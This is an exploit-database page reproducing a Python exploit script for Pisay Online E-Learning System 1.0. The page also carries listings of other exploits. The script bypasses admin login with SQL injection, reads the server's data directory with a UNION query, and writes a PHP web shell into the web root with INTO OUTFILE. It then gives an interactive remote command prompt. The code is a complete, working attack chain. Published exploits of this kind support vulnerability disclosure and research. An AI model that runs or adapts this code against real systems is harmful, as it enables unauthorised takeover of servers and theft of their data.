Become a patron and gain access to the dashboard, Schedule scans, API and Search

Search for hundreds of thousands of exploits

"Pisay Online E-Learning System 1.0 - Remote Code Execution"

Author

Exploit author

boku

Platform

Exploit platform

php

Release date

Exploit published date

2020-05-07

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# Exploit Title: Pisay Online E-Learning System 1.0 - Remote Code Execution
# Exploit Author: Bobby Cooke
# Date: 2020-05-05
# Vendor Homepage: https://www.sourcecodester.com/php/14192/pisay-online-e-learning-system-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/donbermoy/e-learningsystem_0.zip
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Description: Pisay Online E-Learning System v1.0 - SQLi Auth Bypass + Remote Code Execution (RCE)

# Vulnerable Source Code:
# /e-learningsystem/admin/login.php
#  121   $email = trim($_POST['user_email']);
#  122   $upass  = trim($_POST['user_pass']);
#  123   $h_upass = sha1($upass);
#  132     $user = new User();
#  134     $res = $user::userAuthentication($email, $h_upass);
# /e-learningsystem/include/accounts.php
#    3 class User {
#   23     static function userAuthentication($email,$h_pass){
#   25         $mydb->setQuery("SELECT * FROM `tblusers` WHERE `UEMAIL` = '". $email ."' and `PASS` = '". $h_pass ."'");
# /e-learningsystem/admin/modules/lesson/edit.php
#    6   @$id = $_GET['id'];
#    7     if($id==''){
#   10   $lesson = New Lesson();
#   11   $res = $lesson->single_lesson($id);
# /e-learningsystem/include/lessons.php
#    4  class Lesson {
#    5     protected static  $tblname = "tbllesson";
#   35     function single_lesson($id=0){
#   37-38          $mydb->setQuery("SELECT * FROM ".self::$tblname." Where LessonID= '{$id}' LIMIT 1");

import requests, sys, re

requests.packages.urllib3.\
disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def webshell(SERVER_URL):
    try:
        while True:
            cmd = raw_input('C:\\ ')
            command = {'cmd': cmd}
            r2 = s.get(SERVER_URL+'../../../../webshell.php', params=command, verify=False)
            response = r2.text
            cleanResponse = response.replace('AAAAAAAAAAAAAAA', '')
            cleanResponse = cleanResponse.replace('313371337', '')
            print(cleanResponse)
    except:
        print("\r\nExiting.")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "(+) Usage:   %s <SERVER_URL>" % sys.argv[0]
        print "(+) Example: %s 'https://10.0.0.3:443/e-learningsystem/'" % sys.argv[0]
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    ADMIN_URL = SERVER_URL + 'admin/login.php'
    LESSON_URL = SERVER_URL + 'admin/modules/lesson/index.php'
    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    payload1 = {'user_email': "boku' OR 1337=1337 LIMIT 1 -- PowerUp", 'user_pass': 'InstantTransmission', 'btnLogin': ''}
    s.post(ADMIN_URL, data=payload1, verify=False)

    payload2 = {'view': 'edit', 'id': '31337\' AND 1337=31337 union all select 313371337,"AAAAAAAAAAAAAAA",@@datadir,"AAAAAAAAAAAAAAA","AAAAAAAAAAAAAAA" -- kamahamaha'}
    r1 = s.get(LESSON_URL, params=payload2, verify=False)
    dirtyPath = str(re.findall(r'"Title" type="text" value=".*>', r1.text))
    dataPath=re.sub('^.*"Title" type="text" value="', '', dirtyPath)
    dataPath=re.sub('">.*$', '', dataPath)
    dataPath=dataPath.replace('\\\\', '/')
    xamppPath=re.sub('xampp.*', 'xampp', dataPath)
    payload3 = {'view': 'edit', 'id': '31337\' AND 1337=31337 union all select 313371337,"AAAAAAAAAAAAAAA","<?php echo shell_exec($_GET[\'cmd\']);?>","AAAAAAAAAAAAAAA","AAAAAAAAAAAAAAA" into OUTFILE \''+xamppPath+'/htdocs/webshell.php\' -- kamahamaha'}
    print(payload3)
    s.get(LESSON_URL, params=payload3, verify=False)
    webshell(SERVER_URL)
Release Date Title Type Platform Author
2020-10-27 "Sphider Search Engine 1.3.6 - 'word_upper_bound' RCE (Authenticated)" webapps php "Gurkirat Singh"
2020-10-27 "Sentrifugo 3.2 - File Upload Restriction Bypass (Authenticated)" webapps php "Gurkirat Singh"
2020-10-27 "Client Management System 1.0 - 'searchdata' SQL injection" webapps php "Serkan Sancar"
2020-10-26 "CMS Made Simple 2.1.6 - 'cntnt01detailtemplate' Server-Side Template Injection" webapps php "Gurkirat Singh"
2020-10-26 "PDW File Browser 1.3 - 'new_filename' Cross-Site Scripting (XSS)" webapps php "David Bimmel"
2020-10-26 "InoERP 0.7.2 - Remote Code Execution (Unauthenticated)" webapps php "Lyhin\'s Lab"
2020-10-26 "Online Health Care System 1.0 - Multiple Cross Site Scripting (Stored)" webapps php "AkΔ±ner KΔ±sa"
2020-10-23 "Gym Management System 1.0 - 'id' SQL Injection" webapps php "Jyotsna Adhana"
2020-10-23 "Online Library Management System 1.0 - Arbitrary File Upload" webapps php "Jyotsna Adhana"
2020-10-23 "Point of Sales 1.0 - 'username' SQL Injection" webapps php "Jyotsna Adhana"
Release Date Title Type Platform Author
2020-09-29 "CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR)" local windows boku
2020-09-15 "Tailor MS 1.0 - Reflected Cross-Site Scripting" webapps php boku
2020-09-03 "BarracudaDrive v6.5 - Insecure Folder Permissions" local windows boku
2020-09-02 "Stock Management System 1.0 - Cross-Site Request Forgery (Change Username)" webapps php boku
2020-08-13 "GetSimple CMS Plugin Multi User 1.8.2 - Cross-Site Request Forgery (Add Admin)" webapps php boku
2020-08-10 "Warehouse Inventory System 1.0 - Cross-Site Request Forgery (Change Admin Password)" webapps php boku
2020-07-26 "Online Course Registration 1.0 - Unauthenticated Remote Code Execution" webapps php boku
2020-07-26 "LibreHealth 2.0.0 - Authenticated Remote Code Execution" webapps php boku
2020-06-16 "Bandwidth Monitor 3.9 - 'Svc10StrikeBandMontitor' Unquoted Service Path" local windows boku
2020-06-10 "10-Strike Bandwidth Monitor 3.9 - Buffer Overflow (SEH_DEP_ASLR)" local windows boku
2020-05-22 "Gym Management System 1.0 - Unauthenticated Remote Code Execution" webapps php boku
2020-05-07 "Pisay Online E-Learning System 1.0 - Remote Code Execution" webapps php boku
2020-05-01 "Online Scheduling System 1.0 - Authentication Bypass" webapps php boku
2020-05-01 "Online Scheduling System 1.0 - Persistent Cross-Site Scripting" webapps php boku
2020-05-01 "ChemInv 1.0 - Authenticated Persistent Cross-Site Scripting" webapps php boku
2020-04-20 "Atomic Alarm Clock x86 6.3 - 'AtomicAlarmClock' Unquoted Service Path" local windows boku
2020-04-20 "Atomic Alarm Clock 6.3 - Stack Overflow (Unicode+SEH)" local windows boku
2020-04-13 "Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH)" local windows boku
2020-02-17 "DHCP Turbo 4.61298 - 'DHCP Turbo 4' Unquoted Service Path" local windows boku
2020-02-17 "TFTP Turbo 4.6.1273 - 'TFTP Turbo 4' Unquoted Service Path" local windows boku
2020-02-17 "Cuckoo Clock v5.0 - Buffer Overflow" local windows boku
2020-02-17 "BOOTP Turbo 2.0.1214 - 'BOOTP Turbo' Unquoted Service Path" local windows boku
2020-02-14 "SprintWork 2.3.1 - Local Privilege Escalation" local windows boku
2020-02-14 "HomeGuard Pro 9.3.1 - Insecure Folder Permissions" local windows boku
2020-02-13 "OpenTFTP 1.66 - Local Privilege Escalation" local windows boku
2020-02-11 "Sync Breeze Enterprise 12.4.18 - 'Sync Breeze Enterprise' Unquoted Service Path" local windows boku
2020-02-11 "FreeSSHd 1.3.1 - 'FreeSSHDService' Unquoted Service Path" local windows boku
2020-02-11 "freeFTPd v1.0.13 - 'freeFTPdService' Unquoted Service Path" local windows boku
2020-02-11 "Torrent iPod Video Converter 1.51 - Stack Overflow" local windows boku
2020-02-11 "Disk Savvy Enterprise 12.3.18 - Unquoted Service Path" local windows boku
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48439/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.